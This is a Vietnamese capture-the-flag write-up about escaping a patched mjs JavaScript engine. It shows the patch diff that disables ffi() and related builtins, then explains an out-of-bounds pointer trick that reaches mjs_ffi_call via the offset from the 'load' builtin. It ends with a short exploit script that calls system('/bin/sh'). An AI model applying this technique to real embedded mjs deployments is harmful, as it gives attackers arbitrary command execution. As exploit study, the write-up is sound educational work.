Smile

0x00 Overview #

Đây là một bài liên quan đến mjs engine, đã patch hàm ffi() và có lỗ hổng OOB. Từ đó, nhiệm vụ là gọi hàm system() thông qua hàm ffi().

0x01 Vulnerability #

Bản diff đã vá một số hàm nguy hiểm như ffi(), ffi_cb_free(), mkstr()s2o().

-  mjs_set(mjs, obj, "ffi", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
-  mjs_set(mjs, obj, "ffi_cb_free", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
-  mjs_set(mjs, obj, "mkstr", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+  /* mjs_set(mjs, obj, "ffi", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+  /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+  /* mjs_set(mjs, obj, "mkstr", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
   mjs_set(mjs, obj, "getMJS", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
   mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj)
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
   mjs_set(mjs, obj, "chr", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
-  mjs_set(mjs, obj, "s2o", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+  /* mjs_set(mjs, obj, "s2o", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */

Những hàm trên đã không hoàn toàn bị xóa đi. Mình có thử một vài ví dụ và thấy rằng mjs gọi các built-in functions bằng các con trỏ.

print(load)
<foreign_ptr@557dbd9504c0>
undefined

Lỗ hổng OOB xuất hiện ở đây, chúng ta có thể gọi bất cứ hàm nào thông qua việc tính offset giữa hàm cần gọi với built-in functions, sau đó gọi hàm đó thông qua con trỏ.

0x02 FFI function #

Dựa vào docs, ta biết được ffi() cho phép load và gọi các hàm trong C một cách trực tiếp. Vậy đối với bài toán này, mục tiêu chúng ta sẽ phải gọi ffi('int system(char *)')('/bin/sh').

0x03 Exploitation #

Như đã phân tích ở trên, chúng ta chỉ cần tính offset chênh lệch giữa hàm mjs_load() với mjs_ffi_call(), sau đó gọi hàm lấy shell thông qua con trỏ.

let mjs_load = 0x5555555594c0;
let mjs_ffi_call = 0x555555560110;

let system = (load + (mjs_ffi_call - mjs_load))('int system(char *)'); 
system('/bin/sh');